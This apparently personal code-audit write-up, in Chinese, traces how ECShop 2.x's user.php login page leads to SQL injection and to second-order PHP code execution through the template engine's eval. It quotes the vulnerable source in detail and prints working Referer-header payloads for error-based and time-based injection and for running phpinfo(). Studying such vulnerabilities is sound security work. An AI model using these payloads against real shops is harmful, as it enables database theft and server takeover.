Ecshop2.x注入漏洞&代码执行漏洞分析
序
Ecshop最近爆出了两个高危漏洞,分别是SQL注入漏洞和代码执行漏洞,刚好自己在学代码审计方面的知识,于是自己针对两个漏洞的成因分析了一波,发现这是一个很有意思的二次漏洞,在这将整个学习过程做个记录
SQL注入漏洞分析
在分析漏洞之前首先来看其中的一个payload
访问:http://site/user.php?act=login
然后在http请求头里面添加:
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1;}
由payload看到漏洞的入口位置在user.php
这个文件内,通过act=login
关键字定位到相关的代码位置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| elseif ($action == 'login') { if (empty($back_act)) { if (empty($back_act) && isset($GLOBALS['_SERVER']['HTTP_REFERER'])) { $back_act = strpos($GLOBALS['_SERVER']['HTTP_REFERER'], 'user.php') ? './index.php' : $GLOBALS['_SERVER']['HTTP_REFERER']; } else { $back_act = 'user.php'; } } $captcha = intval($_CFG['captcha']); if (($captcha & CAPTCHA_LOGIN) && (!($captcha & CAPTCHA_LOGIN_FAIL) || (($captcha & CAPTCHA_LOGIN_FAIL) && $_SESSION['login_fail'] > 2)) && gd_version() > 0) { $GLOBALS['smarty']->assign('enabled_captcha', 1); $GLOBALS['smarty']->assign('rand', mt_rand()); } $smarty->assign('back_act', $back_act); $smarty->display('user_passport.dwt'); }
|
传入的Referer的值被$GLOBALS['_SERVER']['HTTP_REFERER']
这个服务器全局变量接收后到赋值给$back_act
,之后$back_act
变量作为参数传入assign
方法,这个函数的功能主要用于注册模板变量,之后$back_act
变量的值便赋值给了模板文件当中的$back_act
变量,注册模板变量的代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| function assign($tpl_var, $value = '') { if (is_array($tpl_var)) { foreach ($tpl_var AS $key => $val) { if ($key != '') { $this->_var[$key] = $val; } } } else { if ($tpl_var != '') { $this->_var[$tpl_var] = $value; } } }
|
之后回到user.php
,又调用了display
这个方法,传入的参数是user_passport.dwt
这个模板文件(这时模板文件当中的$back_act
变量已经被注册为传入的Referer值),模板文件关键内容如下

跟进到display
函数代码的相关位置,代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| function display($filename, $cache_id = '') { $this->_seterror++; error_reporting(E_ALL ^ E_NOTICE); $this->_checkfile = false; $out = $this->fetch($filename, $cache_id); if (strpos($out, $this->_echash) !== false) { $k = explode($this->_echash, $out); foreach ($k AS $key => $val) { if (($key % 2) == 1) { $k[$key] = $this->insert_mod($val); } } $out = implode('', $k); } error_reporting($this->_errorlevel); $this->_seterror--; echo $out; }
|
display函数当中的fetch
方法会对user_passport.dwt
这个模板文件当中的变量进行解析,这时模板文件当中的$back_act
变量和模板当中其它的变量经过fetch
函数里面的make_compiled
函数后被解析,经过处理之后的模板文件内容将返回给$out
这个变量
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90
| function fetch($filename, $cache_id = '') { if (!$this->_seterror) { error_reporting(E_ALL ^ E_NOTICE); } $this->_seterror++; if (strncmp($filename,'str:', 4) == 0) { $out = $this->_eval($this->fetch_str(substr($filename, 4))); } else { if ($this->_checkfile) { if (!file_exists($filename)) { $filename = $this->template_dir . '/' . $filename; } } else { $filename = $this->template_dir . '/' . $filename; } if ($this->direct_output) { $this->_current_file = $filename; $out = $this->_eval($this->fetch_str(file_get_contents($filename))); } else { if ($cache_id && $this->caching) { $out = $this->template_out; } else { if (!in_array($filename, $this->template)) { $this->template[] = $filename; } $out = $this->make_compiled($filename); if ($cache_id) { $cachename = basename($filename, strrchr($filename, '.')) . '_' . $cache_id; $data = serialize(array('template' => $this->template, 'expires' => $this->_nowtime + $this->cache_lifetime, 'maketime' => $this->_nowtime)); $out = str_replace("\r", '', $out); while (strpos($out, "\n\n") !== false) { $out = str_replace("\n\n", "\n", $out); } $hash_dir = $this->cache_dir . '/' . substr(md5($cachename), 0, 1); if (!is_dir($hash_dir)) { mkdir($hash_dir); } if (file_put_contents($hash_dir . '/' . $cachename . '.php', '<?php exit;?>' . $data . $out, LOCK_EX) === false) { trigger_error('can\'t write:' . $hash_dir . '/' . $cachename . '.php'); } $this->template = array(); } } } } $this->_seterror--; if (!$this->_seterror) { error_reporting($this->_errorlevel); } return $out; }
|
之后判断返回的$out
内容中是否有_echash
这个值,如果存在,_echash
的值将作为分割符对$out
的内容进行分割,返回一个索引数组,将索引值为奇数的数组值传入insert_mod
方法,ecshop2.x的_echash
值如下

这也就是之前payload里面的那串hash值,这时payload当中_echash
后面的那些内容ads|a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1;}
就会被传入insert_mod
方法
跟进insert_mode
这个函数
1 2 3 4 5 6 7 8
| function insert_mod($name) // 处理动态内容 { list($fun, $para) = explode('|', $name); $para = unserialize($para); $fun = 'insert_' . $fun; return $fun($para); }
|
此时传入的内容$name
为ads|a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1;}
,之后使用expload
函数以|
为分割符将传入的内容分为两部分,第一部分为ads
,与insert_
拼接后做为该函数的回调函数insert_ads
,第二部为a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1;}
这个序列化字符串,经过unserialize
函数处理后返回一个数组,这个数组会被当作回调函数insert_ads
的参数,接下来定位到insert_ads
这个函数的位置,和SQL注入相关的代码部分如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| function insert_ads($arr) { static $static_res = NULL; $time = gmtime(); if (!empty($arr['num']) && $arr['num'] != 1) { $sql = 'SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, ' . 'p.ad_height, p.position_style, RAND() AS rnd ' . 'FROM ' . $GLOBALS['ecs']->table('ad') . ' AS a '. 'LEFT JOIN ' . $GLOBALS['ecs']->table('ad_position') . ' AS p ON a.position_id = p.position_id ' . "WHERE enabled = 1 AND start_time <= '" . $time . "' AND end_time >= '" . $time . "' ". "AND a.position_id = '" . $arr['id'] . "' " . 'ORDER BY rnd LIMIT ' . $arr['num']; $res = $GLOBALS['db']->GetAll($sql); } ...后面的代码忽略
|
可以看到将数组的值直接拼接到了sql语句中,所以到这已经成功定位到了注入漏洞的位置,在这里可以注入的位置有两个,分别是$arr['id']
的位置和$arr['num']
的位置,由于注入点的不同,构造payload的方式也不同,通过之前的一步步分析,payload的构造格式也很清楚了,需要写成echash+ads+序列化处理后的索引数组(里面的键值为注入的payload)
,下面来构造payload
首先是$arr['id']
这个位置,关于这个位置无需多说,使用正常的报错注入方法就行,构造payload

1
| Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:4:"name";i:1;s:2:"id";s:49:"' and extractvalue(1,concat(0x3a,user(),0x3a))-- ";}
|
可以看到成功报错出了数据库的信息

接下来是$arr['num']
这个位置的注入,这个位置的注入比较特殊,因为它在limit的后面,因为mysql的语法规则,在limit后面只能使用procedure analyse
这个函数去进行报错注入,并且有很多的局限性,下面先来简单说一下有关这个函数的使用
1.该函数的参数为两个,并且只有两个参数时才能报错,两个参数的位置均可以报错
2.使用updatexml,extractvalue等报错函数报错查询数据时,不能在报错函数内使用select关键字查询数据
3.可以时间盲注,但是不能使用sleep函数,但是可以使用benchmark函数取替代sleep
报错注入利用

时间盲注利用

构造payload

1
| Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:63:"0,1 procedure analyse(extractvalue(1,concat(0x3a,user())),1)-- ";s:2:"id";i:1;}
|

代码执行漏洞分析
以下payload用于执行phpinfo()
访问:http://site/user.php?act=login
然后在http请求头里面添加:
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:110:"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -";s:2:"id";s:4:"' /*";}554fcae493e564ee0dc75bdf2ebf94ca

首先继续看insert_ads
函数,这里的代码执行是一个经典的二次漏洞,相关的重要代码部分如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| $position_style = ''; foreach ($res AS $row) { if ($row['position_id'] != $arr['id']) { continue; } $position_style = $row['position_style']; ...省略无关部分 } } $position_style = 'str:' . $position_style; $need_cache = $GLOBALS['smarty']->caching; $GLOBALS['smarty']->caching = false; $GLOBALS['smarty']->assign('ads', $ads); $val = $GLOBALS['smarty']->fetch($position_style); $GLOBALS['smarty']->caching = $need_cache; return $val;
|
之前的过程和注入漏洞过程一样,经过一系列处理后,$arr['id']
的值变为' /*
,$arr['num']
的值变为*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b706870696e666f2f2a2a2f28293b2f2f7d,10-- -
,之后$arr['id']
和$arr['num']
拼接进sql语句后执行的sql如下
1
| SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, p.ad_height, p.position_style, RAND() AS rnd FROM `ecshop273`.`ecs_ad` AS a LEFT JOIN `ecshop273`.`ecs_ad_position` AS p ON a.position_id = p.position_id WHERE enabled = 1 AND start_time <= '1539915783' AND end_time >= '1539915783' AND a.position_id = '' union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10
|

这里需要满足一个条件,那就是传入的$arr['id']
要与sql语句执行结果的$row['position_id']
值相等,当这一条件满足,就将字符串str:
与执行结果$row['position_style']
连接后赋值给$position_style
变量,这时$position_style
的值变为:
1
| str:{$abc'];echo phpinfo/**/();//}
|
之后将$position_style
再次传入fetch
方法,这时候满足条件的代码部分如下:
1 2 3 4 5 6 7 8 9
| function fetch($filename, $cache_id = '') { ...省略部分 if (strncmp($filename,'str:', 4) == 0) { $out = $this->_eval($this->fetch_str(substr($filename, 4))); } ...省略部分 }
|
可以看到这里就是存在二次漏洞的点,_eval
函数将传入的$position_style
,也就是sql语句执行的结果当做代码执行了,不过在_eval
执行之前,传入了内容首先经过substr
截取处理后传入了fetch_str
函数,于是定位到fetch_str
函数,相关代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| function fetch_str($source) { if (!defined('ECS_ADMIN')) { $source = $this->smarty_prefilter_preCompile($source); } if(preg_match_all('~(<\?(?:\w+|=)?|\?>|language\s*=\s*[\"\']?php[\"\']?)~is', $source, $sp_match)) { $sp_match[1] = array_unique($sp_match[1]); for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++) { $source = str_replace($sp_match[1][$curr_sp],'%%%SMARTYSP'.$curr_sp.'%%%',$source); } for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++) { $source= str_replace('%%%SMARTYSP'.$curr_sp.'%%%', '<?php echo \''.str_replace("'", "\'", $sp_match[1][$curr_sp]).'\'; ?>'."\n", $source); } } return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source); }
|
传入的内容为:
1
| {$abc'];echo phpinfo/**/();//}
|
这里绕过了第一个正则对危险字符的检测,直接到了函数代码最后一行
1
| preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source);
|
这里将传入的内容进行匹配,\\1
为匹配到的第一个元组,之后将匹配到的第一个元组值传入select函数,\\1
的值如下
1
| $abc'];echo phpinfo/**/();//
|
之后定位到select
函数,关键代码部分如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| function select($tag) { ...省略部分 elseif ($tag{0} == '$') { return '<?php echo ' . $this->get_val(substr($tag, 1)) . '; ?>'; } ...省略部分 }
|
因为传入的内容第一个字符为$
,所以满足该条件分支,之后将传入的内容经过substr截取处理后传入了get_val
函数,这时传入的参数值变为了
1
| abc'];echo phpinfo/**/();//
|
定位到get_val
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| * 处理smarty标签中的变量标签 * * @access public * @param string $val * * @return bool */ function get_val($val) { if (strrpos($val, '[') !== false) { $val = preg_replace("/\[([^\[\]]*)\]/eis", "'.'.str_replace('$','\$','\\1')", $val); } if (strrpos($val, '|') !== false) { $moddb = explode('|', $val); $val = array_shift($moddb); } if (empty($val)) { return ''; } if (strpos($val, '.$') !== false) { $all = explode('.$', $val); foreach ($all AS $key => $val) { $all[$key] = $key == 0 ? $this->make_var($val) : '['. $this->make_var($val) . ']'; } $p = implode('', $all); } else { $p = $this->make_var($val); } ...省略部分 return $p; }
|
由于传入的内容当中没有[
、|
和.$
,所以不符合前三个条件,直接进入make_var
函数,定位到make_var
函数,相关的重要代码部分如下
1 2 3 4 5 6 7 8 9 10 11 12
| function make_var($val) { if (strrpos($val, '.') === false) { if (isset($this->_var[$val]) && isset($this->_patchstack[$val])) { $val = $this->_patchstack[$val]; } $p = '$this->_var[\'' . $val . '\']'; } ...省略部分 }
|
由于传入的内容里面没有.
所以满足第一个条件分支,传入的最终payload$val
值
1
| abc'];echo phpinfo/**/();//
|
在拼接的时候闭合了前面']
,之后$p变量的值变为了
1
| $this->_var['abc'];echo phpinfo();
|
之后$p
依次经过make_var
和get_val
两个函数后返回到了select
函数内,然后select
函数拼接处理后返回值变为
1
| <?php echo $this->_var['abc'];echo phpinfo();
|
之后回到fetch_str
函数内,此时preg_replace
的第二个参数$this->select('\\1');
结果就变为了
1
| <?php echo $this->_var['abc'];echo phpinfo();
|
之后preg_replace
函数执行的结果就变为了
1
| {<?php echo $this->_var['abc'];echo phpinfo();
|
之后上述值作为fetch_str
函数的返回值会进入_eval
函数内产生代码执行,执行phpinfo,_eval
函数如下
1 2 3 4 5 6 7 8 9
| function _eval($content) { ob_start(); eval('?' . '>' . trim($content)); $content = ob_get_contents(); ob_end_clean(); return $content; }
|
最终php的eval
函数执行的代码如下
1
| <?php ...省略部分?>{<?php echo $this->_var['abc'];echo phpinfo();
|
以上就是代码执行漏洞的执行过程,可以看到整个过程还是比较有意思的